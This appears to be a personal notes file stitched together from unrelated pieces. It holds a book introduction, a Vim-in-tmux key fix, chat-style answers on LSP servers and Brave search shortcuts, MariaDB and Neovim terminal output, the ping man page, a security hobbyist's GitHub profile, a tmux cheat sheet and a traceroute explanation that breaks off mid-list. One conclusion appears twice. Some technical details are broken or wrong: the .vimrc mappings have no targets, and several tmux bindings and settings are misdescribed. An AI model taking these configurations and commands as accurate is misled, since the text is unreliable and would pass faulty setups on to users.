What kind of secrets are included in 501 Web Site Secrets? Well, there’s parts of a site you didn’t know existed. Or ways to use the site that you weren’t aware of. Or special commands that help you get even more out of the site than you could before. Cool stuff like that—and more. That’s the nature of a secret—something that most users don’t know about, but would get a kick out of if they did. These are the kinds of things that will make you say to yourself, “That’s cool—I didn’t know you could do that!” And then you’ll want to go directly to the site to try the secret out for yourself. (Go ahead; it’s allowed.) Of course, not all 501 secrets in this book will be new to you. If you’re Internetsavvy at all, you’ll probably know some of what I reveal in these pages. That’s okay; it only means that you’re on your toes. I’m sure, however, that you’ll find more than a few secrets you didn’t know, and that they’ll make this book a worthwhile read for you. To be fair, many of these secrets are hidden in plain sight. There are few secrets in this book that are deliberately concealed from the general public. Most socalled secrets are things that are there if you look for them—and if you know where to look. You can discover lots of secrets on your own just by clicking all the links on all the pages of your favorite sites and poring over every single page of the site’s help system. The sad fact is, most users never get beyond a site’s home page—and there aren’t too many secrets there! How to Use This Book Using this book is as simple as turning to the chapter on a particular site, reading through the secrets, then trying them on your own. You don’t need any particular technical expertise to take advantage of these secrets, although some familiarity with the sites in question is helpful. There’s no fancy programming, no high-level coding, just a lot of common-sense information that you probably didn’t know before.

How This Book Is Organized

When collecting these 501 secrets, I focused on 20 of the top Web sites today. And that’s exactly how the book is organized—20 total chapters divided into 4 major parts. (If your favorite site isn’t included, I apologize; there were only so many pages available, and I had to make the cut-off somewhere!)

Part I: Secrets of the Internet Portals

This part covers the top Web portals, those sites that offer a little bit of everything and want to be the starting point for all your Web surfing. The biggest portals are covered here: Yahoo!, MSN, AOL.com, Excite, and Lycos.

Part II: Secrets of the Internet Search Engines

The most common online activity is searching, so this part covers the top search sites—including a few search engines you might not know about, but should. Look here for the search secrets of Google, AllTheWeb, Ask Jeeves, AltaVista, and HotBot.

Part III: Secrets of the Online News and Information Sites

More and more people are getting all their news and information from the Internet. This part tells you all about the top sites for news, sports, weather, and other information: CNN.com, ESPN.com, CBS MarketWatch, Weather.com, and Microsoft.com. (Yes, Microsoft.com—a great source for technical information!)

Part IV: Secrets of Online Shopping and Services

The final part covers those sites where you spend a lot of money—the Internet’s top shopping and auction sites. Turn here for the inside information on eBay, Amazon.com, Napster, Expedia, and MapQuest.

Fixing the Home and End Key Issue in Vim Inside tmux

Problem Statement While using Vim inside a tmux session in Alacritty, I noticed that the End key was scrolling the page instead of moving to the end of the line, and the Home key wasn't taking me to the beginning of the line as expected.

This issue did not occur when I used Vim in a normal terminal outside tmux, which indicated that tmux was somehow interfering with how Vim recognized key presses.

Why This Was Bothering Me Vim relies heavily on efficient navigation, and the Home and End keys are crucial when editing long lines of text. Instead of moving to the start or end of a line, the unexpected scrolling behavior made editing cumbersome. I had to manually move the cursor using 0 and $ commands in Vim, which slowed down my workflow.

Since this problem only happened inside tmux, I suspected that tmux was modifying the key sequences before Vim could process them.

Steps I Took to Fix the Issue Step 1: Checking What Keys Were Being Sent To confirm that tmux was altering the key sequences, I ran the following command inside tmux:

sh Copy Edit cat Then, I pressed the Home and End keys. This showed the escape sequences that were being sent.

Outside tmux, Home sent ^[[H, and End sent ^[[F (which Vim understood correctly). Inside tmux, the sequences were different (^[[1~ for Home and ^[[4~ for End), which caused the incorrect behavior. This meant tmux was remapping my keys incorrectly.

Step 2: Fixing Key Sequences in tmux Since tmux was interfering with the key sequences, I had to ensure it preserved the correct mappings.

I added the following lines to my ~/.tmux.conf file:

sh Copy Edit set -g terminal-overrides 'xterm*:smkx=\E[?1h\E=,rmkx=\E[?1l\E>' set -ga terminal-overrides ',xterm-256color:Rs=\E[m:Km=\E[M' Then, I reloaded the tmux configuration:

sh Copy Edit tmux source-file ~/.tmux.conf This forced tmux to respect proper escape sequences for function keys.

Step 3: Ensuring Vim Recognized the Keys Even with the tmux fix, Vim still needed proper mappings. I added these lines to my ~/.vimrc:

vim Copy Edit " Fix Home and End keys in tmux if &term =~ "tmux" set term=xterm-256color map [1~ map [4~ endif This ensured that Vim correctly interpreted the Home and End keypresses while inside tmux.

Step 4: Setting the Correct $TERM Value To prevent similar issues, I made sure tmux was using a proper terminal type.

I checked my terminal type using:

sh Copy Edit echo $TERM Inside tmux, it should be screen-256color or tmux-256color. Outside tmux, it should be xterm-256color. To enforce this setting, I added the following to my ~/.tmux.conf:

sh Copy Edit set -g default-terminal "screen-256color" set -as terminal-overrides ",screen-256color:Tc" Then, I restarted tmux:

sh Copy Edit tmux kill-server tmux Conclusion This fix resolved my issue, allowing the Home and End keys to function correctly inside tmux. The problem was caused by tmux modifying the escape sequences sent to Vim. By tweaking tmux’s terminal-overrides and adjusting Vim’s key mappings, I ensured that both tools handled key inputs properly.

Now, Vim behaves consistently whether I'm using it inside or outside tmux, making my workflow much smoother. 🚀

Linuxduction

Choosing the best LSP (Language Server Protocol) server depends on your specific needs and the programming languages you work with. Here’s a breakdown of some of the options from the list you provided:

For Haskell:

haskell-language-server: If you're working with Haskell, this is the best option as it is a full-featured LSP server for GHC (Glasgow Haskell Compiler). For Python:

python-lsp-server: This is a good general-purpose Python LSP server and is widely used in the Python community. python-lsp-black: If you want auto-formatting support using the Black code formatter, this plugin integrates well into the LSP server. For TypeScript:

typescript-language-server: This is the best LSP server for TypeScript, using the tsserver for TypeScript development. For Neovim:

neovim-lspconfig: If you are using Neovim, this plugin helps set up LSP servers easily, providing various language server configurations. For General Use:

jupyter-lsp: This is perfect if you're working with Jupyter Notebooks and want to leverage multiple language servers within that environment. For Rust:

If you’re dealing with Rust development, you may want to look for a Rust-specific LSP server, although it's not on the list provided. If you're using a specific editor like Vim or Neovim, you should also consider the integration of the LSP server with your text editor's LSP client plugin. Let me know which programming language you're primarily working with, and I can help narrow down the best LSP server for you!

root@Archie ~ # mysql_install_db --user=mysql --basedir=/usr --datadir=/var/lib/mysql

/usr/bin/mysql_install_db: Deprecated program name. It will be removed in a future release, use 'mariadb-install-db' instead Installing MariaDB/MySQL system tables in '/var/lib/mysql' ...

OK

To start mariadbd at boot time you have to copy support-files/mariadb.service to the right place for your system

Two all-privilege accounts were created. One is root@localhost, it has no password, but you need to be system 'root' user to connect. Use, for example, sudo mysql The second is mysql@localhost, it has no password either, but you need to be the system 'mysql' user to connect. After connecting you can set the password, if you would need to be able to connect as any of these users with a password and without sudo

See the MariaDB Knowledgebase at https://mariadb.com/kb

You can start the MariaDB daemon with: cd '/usr' ; /usr/bin/mariadbd-safe --datadir='/var/lib/mysql'

You can test the MariaDB daemon with mariadb-test-run.pl cd '/usr/mariadb-test' ; perl mariadb-test-run.pl

Please report any problems at https://mariadb.org/jira

The latest information about MariaDB is available at https://mariadb.org/.

Consider joining MariaDB's strong and vibrant community: https://mariadb.org/get-involved/

root@Archie ~ # root@Archie ~ # root@Archie ~ #

cd .config/
mkdir nvim
cd nvim
git clone --depth 1 https://github.com/wbthomason/packer.nvim ~/.local/share/nvim/site/pack/packer/start/packer.nvim\n
nvim ~/.config/nvim/lua/plugins.lua
vim .
dante@Archie ~/.config/nvim/lua $ cd theprimeagen
dante@Archie ~/.config/nvim/lua/theprimeagen $ ls
init.lua  packer.lua  remap.lua
dante@Archie ~/.config/nvim/lua/theprimeagen $ cat init.lua
require("theprimeagen.remap")
print("hello from the primeagen")
dante@Archie ~/.config/nvim/lua/theprimeagen $ cat remap.lua
vim.g.mapleader = " "
vim.keymap.set("n", "<leader>pv", vim.cmd.Ex)
vim.keymap.set("n", '<C-s>' ,vim.cmd.w)
vim.keymap.set("n", '<C-w>', vim.cmd.wq)
vim.keymap.set("n", '<C-q>' ,vim.cmd.qa)

dante@Archie ~/.config/nvim/lua/theprimeagen $ cat packer.lua
-- This file can be loaded by calling `lua require('plugins')` from your init.vim

-- Only required if you have packer configured as `opt`
vim.cmd [[packadd packer.nvim]]

return require('packer').startup(function(use)
  -- Packer can manage itself
  use 'wbthomason/packer.nvim'

  use {
  'nvim-telescope/telescope.nvim', tag = '0.1.8',
-- or                            , branch = '0.1.x',
  requires = { {'nvim-lua/plenary.nvim'} }
}
 use ({
         'rose-pine/neovim',
         as = 'rose-pine',
         config = function()
                 vim.cmd('colorscheme rose-pine')
        end
 })
use ('nvim-treesitter/nvim-treesitter', {run = ':TSUpdate'})
use ('nvim-treesitter/playground')
use ('mbbill/undotree')
use ('tpope/vim-fugitive')
use {
        'VonHeikemen/lsp-zero.nvim',
        requires = {
                {'neovim/nvim-lspconfig'},
                {'williamboman/mason.nvim'},
                --Autocompletion
                {'hrsh7th/nvim-cmp'},
                {'hrsh7th/cmp-buffer'},
                {'hrsh7th/cmp-path'},
                {'hrsh7th/cmp-nvim-lsp'},
                {'hrsh7th/cmp-nvim-lua'},
                {'saadparwaiz1/cmp_luasnip'},
                --Snippets
                {'rafamadriz/friendly-snippets'},
        }
}

end)
dante@Archie ~/.config/nvim/lua/theprimeagen $

PING(8) iputils PING(8)

NAME ping - send ICMP ECHO_REQUEST to network hosts

SYNOPSIS

   ping [-aAbBdCDfhHLnOqrRUvV346] [-c count] [-e identifier] [-F flowlabel] [-i interval] [-I interface] [-l preload]
        [-m mark] [-M pmtudisc_option] [-N nodeinfo_option] [-w deadline] [-W timeout] [-p pattern] [-Q tos] [-s packetsize]
        [-S sndbuf] [-t ttl] [-T timestamp option] [hop...] {destination}

DESCRIPTION ping uses the ICMP protocol's mandatory ECHO_REQUEST datagram to elicit an ICMP ECHO_RESPONSE from a host or gateway. ECHO_REQUEST datagrams (“pings”) have an IP and ICMP header, followed by a struct timeval and then an arbitrary number of “pad” bytes used to fill out the packet.

   ping works with both IPv4 and IPv6. Using only one of them explicitly can be enforced by specifying -4 or -6.

   ping can also send IPv6 Node Information Queries (RFC4620). Intermediate hops may not be allowed, because IPv6 source
   routing was deprecated (RFC5095).

OPTIONS -3 RTT precision (do not round up the result time).

   -4
       Use IPv4 only.

   -6
       Use IPv6 only.

   -a
       Audible ping.

   -A
       Adaptive ping. Interpacket interval adapts to round-trip time, so that effectively not more than one (or more, if
       preload is set) unanswered probe is present in the network. The default interval is 2 ms, for more info see option -i.
       On networks with low RTT this mode is essentially equivalent to flood mode.

   -b
       Allow pinging a broadcast address.

   -B
       Do not allow ping to change source address of probes. The address is bound to one selected when ping starts.

   -c count
       Stop after sending count ECHO_REQUEST packets. With deadline option, ping waits for count ECHO_REPLY packets, until the
       timeout expires.

   -C
       Call connect() syscall on socket creation.

   -d
       Set the SO_DEBUG option on the socket being used. Essentially, this socket option is not used by Linux kernel.

   -D
       Print timestamp (unix time + microseconds as in gettimeofday) before each line.

   -e identifier
       Set the identification field of ECHO_REQUEST. Value 0 implies using raw socket (not supported on ICMP datagram socket).
       The value of the field may be printed with -v option.

   -f
       Flood ping. For every ECHO_REQUEST sent a period “.” is printed, while for every ECHO_REPLY received a backspace is
       printed. This provides a rapid display of how many packets are being dropped. If interval is not given, it sets
       interval to zero and outputs packets as fast as they come back or one hundred times per second, whichever is more. Only
       the super-user may use this option with zero interval.

   -F flow label
       IPv6 only. Allocate and set 20 bit flow label (in hex) on echo request packets. If value is zero, kernel allocates
       random flow label.

   -h
       Show help.

   -H
       Force DNS name resolution for the output. Useful for numeric destination, or -f option, which by default do not perform
       it. It can also help to workaround DNS resolution problems. Override previously defined -n option. See also
       IPUTILS_PING_PTR_LOOKUP environment variable.

   -i interval
       Wait interval seconds between sending each packet. Real number allowed with dot as a decimal separator (regardless
       locale setup). The default is to wait for one second between each packet normally, or not to wait in flood mode. Only
       super-user may set interval to values less than 2 ms. Broadcast and multicast ping have even higher limitation for
       regular user: minimum is 1 sec.

   -I interface
       interface is either an address, an interface name or a VRF name. If interface is an address, it sets source address to
       specified interface address. If interface is an interface name, it sets source interface to specified interface. If
       interface is a VRF name, each packet is routed using the corresponding routing table; in this case, the -I option can
       be repeated to specify a source address. NOTE: For IPv6, when doing ping to a link-local scope address, link
       specification (by the '%'-notation in destination, or by this option) can be used but it is no longer required.

   -l preload
       If preload is specified, ping sends that many packets not waiting for reply. Only the super-user may select preload
       more than 3.

   -L
       Suppress loopback of multicast packets. This flag only applies if the ping destination is a multicast address.

   -m mark
       use mark to tag the packets going out. This is useful for variety of reasons within the kernel such as using policy
       routing to select specific outbound processing. CAP_NET_ADMIN or CAP_NET_RAW (since Linux 5.17) capability is required,
       see socket(7).

   -M pmtudisc_opt
       Select Path MTU Discovery strategy.  pmtudisc_option may be either do (set DF flag but subject to PMTU checks by
       kernel, packets too large will be rejected), want (do PMTU discovery, fragment locally when packet size is large),
       probe (set DF flag and bypass PMTU checks, useful for probing), or dont (do not set DF flag).

   -N nodeinfo_option
       IPv6 only. Send IPv6 Node Information Queries (RFC4620), instead of Echo Request. CAP_NET_RAW capability is required.

       help
           Show help for NI support.

       name
           Queries for Node Names.

       ipv6
           Queries for IPv6 Addresses. There are several IPv6 specific flags.

           ipv6-global
               Request IPv6 global-scope addresses.

           ipv6-sitelocal
               Request IPv6 site-local addresses.

           ipv6-linklocal
               Request IPv6 link-local addresses.

           ipv6-all
               Request IPv6 addresses on other interfaces.

       ipv4
           Queries for IPv4 Addresses. There is one IPv4 specific flag.

           ipv4-all
               Request IPv4 addresses on other interfaces.

       subject-ipv6=ipv6addr
           IPv6 subject address.

       subject-ipv4=ipv4addr
           IPv4 subject address.

       subject-name=nodename
           Subject name. If it contains more than one dot, fully-qualified domain name is assumed.

       subject-fqdn=nodename
           Subject name. Fully-qualified domain name is always assumed.

   -n
       Numeric output only. No attempt will be made to lookup symbolic names for host addresses (no reverse DNS resolution).
       This is the default for numeric destination or -f option. Override previously defined -H option. See also
       IPUTILS_PING_PTR_LOOKUP environment variable.

   -O
       Report outstanding ICMP ECHO reply before sending next packet. This is useful together with the timestamp -D to log
       output to a diagnostic file and search for missing answers.

   -p pattern
       You may specify up to 16 “pad” bytes to fill out the packet you send. This is useful for diagnosing data-dependent
       problems in a network. For example, -p ff will cause the sent packet to be filled with all ones.

   -q
       Quiet output. Nothing is displayed except the summary lines at startup time and when finished.

   -Q tos
       Set Quality of Service -related bits in ICMP datagrams.  tos can be decimal (ping only) or hex number.

       In RFC2474, these fields are interpreted as 8-bit Differentiated Services (DS), consisting of: bits 0-1 (2 lowest bits)
       of separate data, and bits 2-7 (highest 6 bits) of Differentiated Services Codepoint (DSCP). In RFC2481 and RFC3168,
       bits 0-1 are used for ECN.

       Historically (RFC1349, obsoleted by RFC2474), these were interpreted as: bit 0 (lowest bit) for reserved (currently
       being redefined as congestion control), 1-4 for Type of Service and bits 5-7 (highest bits) for Precedence.

   -r
       Bypass the normal routing tables and send directly to a host on an attached interface. If the host is not on a
       directly-attached network, an error is returned. This option can be used to ping a local host through an interface that
       has no route through it provided the option -I is also used.

   -R
       ping only. Record route. Includes the RECORD_ROUTE option in the ECHO_REQUEST packet and displays the route buffer on
       returned packets. Note that the IP header is only large enough for nine such routes. Many hosts ignore or discard this
       option.

   -s packetsize
       Specifies the number of data bytes to be sent. The default is 56, which translates into 64 ICMP data bytes when
       combined with the 8 bytes of ICMP header data. The maximum allowed value is 65507 for IPv4 (65467 when -R or -T or
       Intermediate hops) or 65527 for IPv6, but most systems limit this to a smaller, system-dependent number.

   -S sndbuf
       Set socket sndbuf. If not specified, it is selected to buffer not more than one packet.

   -t ttl
       ping only. Set the IP Time to Live.

   -T timestamp option
       Set special IP timestamp options.  timestamp option may be either tsonly (only timestamps), tsandaddr (timestamps and
       addresses) or tsprespec host1 [host2 [host3 [host4]]] (timestamp prespecified hops).

   -U
       Print full user-to-user latency (the old behaviour). Normally ping prints network round trip time, which can be
       different f.e. due to DNS failures.

   -v
       Verbose output. Do not suppress DUP replies when pinging multicast address.

   -V
       Show version and exit.

   -w deadline
       Specify a timeout, in seconds, before ping exits regardless of how many packets have been sent or received. In this
       case ping does not stop after count packet are sent, it waits either for deadline expire or until count probes are
       answered or for some error notification from network.

   -W timeout
       Time to wait for a response, in seconds. The option affects only timeout in absence of any responses, otherwise ping
       waits for two RTTs. Real number allowed with dot as a decimal separator (regardless locale setup). 0 means infinite
       timeout.

   When using ping for fault isolation, it should first be run on the local host, to verify that the local network interface
   is up and running. Then, hosts and gateways further and further away should be “pinged”. Round-trip times and packet loss
   statistics are computed. If duplicate packets are received, they are not included in the packet loss calculation, although
   the round trip time of these packets is used in calculating the minimum/average/maximum/mdev round-trip time numbers.

   Population standard deviation (mdev), essentially an average of how far each ping RTT is from the mean RTT. The higher mdev
   is, the more variable the RTT is (over time). With a high RTT variability, you will have speed issues with bulk transfers
   (they will take longer than is strictly speaking necessary, as the variability will eventually cause the sender to wait for
   ACKs) and you will have middling to poor VoIP quality.

   When the specified number of packets have been sent (and received) or if the program is terminated with a SIGINT, a brief
   summary is displayed. Shorter current statistics can be obtained without termination of process with signal SIGQUIT.

   This program is intended for use in network testing, measurement and management. Because of the load it can impose on the
   network, it is unwise to use ping during normal operations or from automated scripts.

ENVIRONMENT IPUTILS_PING_PTR_LOOKUP environment variable set to 0 disable reverse DNS resolution (PTR lookup) by default. It will be overrided by -H or -n option. .SH "EXIT STATUS"

   If ping does not receive any reply packets at all it will exit with code 1. If a packet count and deadline are both
   specified, and fewer than count packets are received by the time the deadline has arrived, it will also exit with code 1.
   On other error it exits with code 2. Otherwise it exits with code 0. This makes it possible to use the exit code to see if
   a host is alive or not.

IPV6 LINK-LOCAL DESTINATIONS For IPv6, when the destination address has link-local scope and ping is using ICMP datagram sockets, the output interface must be specified. When ping is using raw sockets, it is not strictly necessary to specify the output interface but it should be done to avoid ambiguity when there are multiple possible output interfaces.

   There are two ways to specify the output interface:

   • using the % notation
       The destination address is postfixed with % and the output interface name or ifindex, for example:

       ping fe80::5054:ff:fe70:67bc%eth0

       ping fe80::5054:ff:fe70:67bc%2

   • using the -I option
       When using ICMP datagram sockets, this method is supported since the following kernel versions: 5.17, 5.15.19, 5.10.96,
       5.4.176, 4.19.228, 4.14.265. Also it is not supported on musl libc.

ICMP PACKET DETAILS An IP header without options is 20 bytes. An ICMP ECHO_REQUEST packet contains an additional 8 bytes worth of ICMP header followed by an arbitrary amount of data. When a packetsize is given, this indicates the size of this extra piece of data (the default is 56). Thus the amount of data received inside of an IP packet of type ICMP ECHO_REPLY will always be 8 bytes more than the requested data space (the ICMP header).

   If the data space is at least of size of struct timeval ping uses the beginning bytes of this space to include a timestamp
   which it uses in the computation of round trip times. If the data space is shorter, no round trip times are given.

DUPLICATE AND DAMAGED PACKETS ping will report duplicate and damaged packets. Duplicate packets should never occur, and seem to be caused by inappropriate link-level retransmissions. Duplicates may occur in many situations and are rarely (if ever) a good sign, although the presence of low levels of duplicates may not always be cause for alarm.

   Damaged packets are obviously serious cause for alarm and often indicate broken hardware somewhere in the ping packet's
   path (in the network or in the hosts).

ID COLLISIONS Unlike TCP and UDP, which use port to uniquely identify the recipient to deliver data, ICMP uses identifier field (ID) for identification. Therefore, if on the same machine, at the same time, two ping processes use the same ID, echo reply can be delivered to a wrong recipient. This is a known problem due to the limited size of the 16-bit ID field. That is a historical limitation of the protocol that cannot be fixed at the moment unless we encode an ID into the ping packet payload. ping prints DIFFERENT ADDRESS error and packet loss is negative.

   ping uses PID to get unique number. The default value of /proc/sys/kernel/pid_max is 32768. On the systems that use ping
   heavily and with pid_max greater than 65535 collisions are bound to happen.

TRYING DIFFERENT DATA PATTERNS The (inter)network layer should never treat packets differently depending on the data contained in the data portion. Unfortunately, data-dependent problems have been known to sneak into networks and remain undetected for long periods of time. In many cases the particular pattern that will have problems is something that doesn't have sufficient “transitions”, such as all ones or all zeros, or a pattern right at the edge, such as almost all zeros. It isn't necessarily enough to specify a data pattern of all zeros (for example) on the command line because the pattern that is of interest is at the data link level, and the relationship between what you type and what the controllers transmit can be complicated.

   This means that if you have a data-dependent problem you will probably have to do a lot of testing to find it. If you are
   lucky, you may manage to find a file that either can't be sent across your network or that takes much longer to transfer
   than other similar length files. You can then examine this file for repeated patterns that you can test using the -p option
   of ping.

TTL DETAILS The TTL value of an IP packet represents the maximum number of IP routers that the packet can go through before being thrown away. In current practice you can expect each router in the Internet to decrement the TTL field by exactly one.

   The TTL field for TCP packets may take various values. The maximum possible value of this field is 255, a recommended
   initial value is 64. For more information, see the TCP/Lower-Level Interface section of RFC9293.

   In normal operation ping prints the TTL value from the packet it receives. When a remote system receives a ping packet, it
   can do one of three things with the TTL field in its response:

       • Not change it; this is what Berkeley Unix systems did before the 4.3BSD Tahoe release. In this case the TTL value in
       the received packet will be 255 minus the number of routers in the round-trip path.

       • Set it to 255; this is what current Berkeley Unix systems do. In this case the TTL value in the received packet will
       be 255 minus the number of routers in the path from the remote system to the pinging host.

       • Set it to some other value. Some machines use the same value for ICMP packets that they use for TCP packets, for
       example either 30 or 60. Others may use completely wild values.

BUGS • Many Hosts and Gateways ignore the RECORD_ROUTE option.

       • The maximum IP header length is too small for options like RECORD_ROUTE to be completely useful. There's not much
       that can be done about this, however.

       • Flood pinging is not recommended in general, and flood pinging the broadcast address should only be done under very
       controlled conditions.

SEE ALSO ip(8), ss(8).

HISTORY The ping command appeared in 4.3BSD.

   The version described here is its descendant specific to Linux.

   As of version s20150815, the ping6 binary doesn't exist anymore. It has been merged into ping. Creating a symlink named
   ping6 pointing to ping will result in the same functionality as before.

SECURITY ping requires CAP_NET_RAW capability to be executed 1) if the program is used for non-echo queries (see -N option) or when the identification field set to 0 for ECHO_REQUEST (see -e), or 2) if kernel does not support ICMP datagram sockets, or 3) if the user is not allowed to create an ICMP echo socket. The program may be used as set-uid root.

AVAILABILITY ping is part of iputils package.

iputils 20240905 PING(8)

Hello, I'm HackHubAfrica 👋

Hi there, I'm HackHubAfrica

A passionate Electrical & Telecommunications Engineer with a deep interest in Cybersecurity.

hackhubafrica

👨‍💻 About Me:

I am an experienced and driven engineer with expertise in Network Security and Penetration Testing. My focus lies in securing digital infrastructures and developing advanced protocols to defend against evolving cyber threats. I’m continually learning and adapting to the latest trends in both AI and Cybersecurity to enhance my skillset and stay ahead of emerging risks.

  • 🔭 Currently working on: Developing robust cybersecurity systems for the Internet of Things (IoT) and performing vulnerability assessments.
  • 🌱 Currently learning: Exploring how Artificial Intelligence can optimize security threat detection and mitigation.
  • 👯 Collaborating on: Open-source cybersecurity projects and building innovative network security tools with fellow engineers.
  • 🤝 Looking to help with: Designing and integrating machine learning models into real-time security monitoring systems.

📈 Achievements & Interests:

  • Cybersecurity Certifications: Actively pursuing certifications in Certified Ethical Hacker (CEH), CompTIA Security+, and CISSP.
  • Security Researcher: Conducted several penetration tests and security audits on enterprise-level infrastructures.
  • Competitive Edge: Engaged in Capture the Flag (CTF) challenges with a strong record of solving complex cybersecurity puzzles.

🌐 Connect with me:

I believe in collaboration and knowledge sharing. Feel free to reach out via the following platforms:

hackhubafrica hackhubafrica hackhubafrica hackhubafrica hackhubafrica

🛠️ Tools & Technologies:

As a developer and cybersecurity engineer, I work with a wide variety of tools and technologies. Here's a snapshot of my technical skills:

arduino aws bash c cplusplus django docker flask gcp git linux mysql python rust selenium

📊 GitHub Stats:

Here's an overview of my activity and contributions:

hackhubafrica

 hackhubafrica

hackhubafrica

To use search engine shortcuts in a browser like Brave, you can configure them in the address bar. Here's how it typically works:

  1. Set Up and Use Search Engine Shortcuts in Brave: Open the Browser Settings:

Go to Settings in Brave by clicking on the menu (three horizontal lines) in the upper-right corner of the window. Navigate to Search Engine settings. Manage Search Engines:

In the "Search Engine" section, you'll see an option to Manage search engines. Click on it. You’ll see a list of default search engines (like Google, DuckDuckGo, etc.). You can edit or add custom search engines with your preferred shortcuts. Set Search Engine Shortcuts:

In the list, you can find the "Shortcut" column, where you’ll define your own keyboard shortcuts for each search engine. For example: Google: Shortcut :g DuckDuckGo: Shortcut :d Brave: Shortcut :br These shortcuts allow you to quickly switch search engines without needing to change the default search engine in the settings. 2. Using the Shortcuts: After setting up the search engines with their shortcuts, you can quickly use them in the address bar.

For Google (Default):

Simply type :g followed by your search query in the address bar and press Enter. Example: :g how to use shortcuts in brave For DuckDuckGo:

Type :d followed by your search query. Example: :d privacy tips For Brave's own search engine:

Type :br and your query to search using Brave's search engine. Example: :br Brave browser features 3. Changing Default Search Engine: If you want to change the default search engine, you can go to Settings > Search Engine, and under the Default Search Engine section, select the search engine of your choice.

This method allows you to instantly switch between search engines without opening their individual websites, making searches faster.

Example: In the address bar, typing:

:g fastest programming languages will use Google. :d fastest programming languages will use DuckDuckGo. :br fastest programming languages will use Brave's default search engine. Let me know if you'd like more details on customizing this further!

Conclusion This fix resolved my issue, allowing the Home and End keys to function correctly inside tmux. The problem was caused by tmux modifying the escape sequences sent to Vim. By tweaking tmux’s terminal-overrides and adjusting Vim’s key mappings, I ensured that both tools handled key inputs properly.

Now, Vim behaves consistently whether I'm using it inside or outside tmux, making my workflow much smoother.

Here’s a tmux cheat sheet with essential commands that will boost your productivity and performance when using tmux. These commands will help you manage sessions, windows, panes, and navigation, which are crucial for a smooth workflow.

Session Management Start a new tmux session:

tmux new-session -s session-name Replace session-name with your desired session name.

List all tmux sessions:

tmux list-sessions Attach to an existing session:

tmux attach-session -t session-name Detach from the current session: Inside tmux, press Ctrl + b followed by d to detach from the session and leave it running in the background.

Kill a tmux session:

tmux kill-session -t session-name Rename a session: Inside tmux, press Ctrl + b followed by : and then type:

rename-session new-session-name Window Management Create a new window: Press Ctrl + b, then c to create a new window in the current session.

Switch to the next window: Press Ctrl + b, then n.

Switch to the previous window: Press Ctrl + b, then p.

Switch to a specific window: Press Ctrl + b, then the window number (0, 1, 2, etc.).

Rename a window: Inside tmux, press Ctrl + b, then , to rename the current window.

Close the current window: Inside tmux, press Ctrl + b, then & and confirm to kill the window.

Pane Management Split window horizontally: Press Ctrl + b, then % to split the current window into two horizontal panes.

Split window vertically: Press Ctrl + b, then " to split the current window into two vertical panes.

Navigate between panes: Press Ctrl + b, then use the arrow keys (←, ↑, ↓, →) to switch between panes.

Resize panes: Press Ctrl + b, then hold Ctrl and use the arrow keys to resize the active pane.

Close the current pane: Press Ctrl + b, then x, and confirm to kill the current pane.

Swap panes: Press Ctrl + b, then o to swap between the current and the next pane.

Session/Panes/Windows Navigation Move between windows quickly: Press Ctrl + b, then a number (0, 1, 2, etc.) to directly jump to that window.

Move between panes: Press Ctrl + b, then the arrow keys (←, ↑, ↓, →) to move between adjacent panes.

List all windows: Press Ctrl + b, then w to bring up a window list and select one to jump to.

Zoom in/out of a pane: Press Ctrl + b, then z to zoom in on the current pane (makes it full-screen). Press Ctrl + b and z again to return to the normal layout.

Copy Mode Enter copy mode: Press Ctrl + b, then [. This allows you to scroll back through the output and copy text.

Scroll up/down: In copy mode, use the arrow keys or Page Up / Page Down to scroll.

Start selection: Press Space to begin selection.

Copy the selection: After selecting text, press Enter to copy the text to tmux's clipboard.

Paste the copied text: Press Ctrl + b, then ] to paste the copied text.

Session Synchronization Synchronize input across all panes: Press Ctrl + b, then : and type: setw synchronize-panes on This will sync your input across all panes. To turn it off, use: setw synchronize-panes off Search and History Search for text in the terminal: Press Ctrl + b, then / to search backward or ? to search forward. Then type your search term and press Enter.

Clear the screen: Press Ctrl + b, then Ctrl + l to clear the current pane (similar to clear).

Performance/Optimization Set a maximum history buffer size: In your ~/.tmux.conf file, you can set the scrollback buffer limit, which can improve performance in long-running sessions.

set-option -g history-limit 10000 Disable pane switching delay: You can also reduce delays in pane switching by adding this to your ~/.tmux.conf:

set -g terminal-overrides 'xterm*:smcup@:rmcup@' Useful Shortcuts Kill all panes in the current window: Press Ctrl + b, then &, then type y to confirm killing the current window.

Quickly switch between windows: Press Ctrl + b, then n for next window or p for the previous window.

List all sessions: You can list all tmux sessions at any time by running:

tmux ls Customizations Set custom key bindings: You can bind keys to perform specific actions in ~/.tmux.conf. For example:

bind r source-file ~/.tmux.conf ; display-message "Config reloaded!" This will bind Ctrl + b followed by r to reload the tmux configuration.

Set the default terminal mode (useful for non-standard terminals):

set -g default-terminal "screen-256color" Quick Tips Prefix key: The default tmux prefix key is Ctrl + b, followed by the command or action. Session names: Use meaningful session names when creating new sessions to easily identify them. Configuration file: ~/.tmux.conf is where you can put custom tmux settings to personalize your workflow. Mastering these commands will drastically increase your productivity and performance when using tmux for your terminal-based workflow. Let me know if you'd like more details on any of these!

Traceroute command

✗ traceroute google.com
traceroute to google.com (172.217.170.206), 30 hops max, 60 byte packets
 1  _gateway (172.20.52.1)  1.229 ms  2.019 ms  1.164 ms
 2  197.136.187.85 (197.136.187.85)  1.147 ms  1.125 ms  1.100 ms
 3  sgl.pe-moi-main-01.e.kenet.or.ke (41.204.179.49)  2.737 ms  2.990 ms  2.702 ms
 4  kl.uon-moi-trunk.kenet.or.ke (41.204.173.37)  11.297 ms  9.899 ms  11.255 ms
 5  kl.seacom-cls-02.s.kenet.or.ke (41.204.184.114)  18.269 ms  17.950 ms  17.936 ms
 6  72.14.220.40 (72.14.220.40)  18.677 ms  17.560 ms  17.502 ms
 7  192.178.251.145 (192.178.251.145)  18.041 ms 192.178.251.165 (192.178.251.165)  16.682 ms  16.387 ms
 8  209.85.242.181 (209.85.242.181)  15.484 ms  16.737 ms  16.300 ms
 9  mba01s10-in-f14.1e100.net (172.217.170.206)  17.983 ms  23.855 ms  17.585 ms

The output you’ve shared is from the traceroute command, which tracks the path your network traffic takes from your system to google.com. Here's a breakdown of what each part of the output means:

Hop 1: gateway (172.20.52.1) – This is your local gateway or router. It’s the first step in the network path, and the round-trip time is very low (~1 ms), as it’s within your local network.

Hop 2: 197.136.187.85 – This is likely the next router or hop in the internet backbone that handles the traffic between your network and external networks. The response time is also low (~1 ms).

Hop 3: sgl.pe-moi-main-01.e.kenet.or.ke (41.204.179.49) – This hop seems to be related to your local ISP or regional network provider. The response time is slightly higher (~2 ms).

Hop 4: kl.uon-moi-trunk.kenet.or.ke (41.204.173.37) – A further routing hop through your local provider's network.

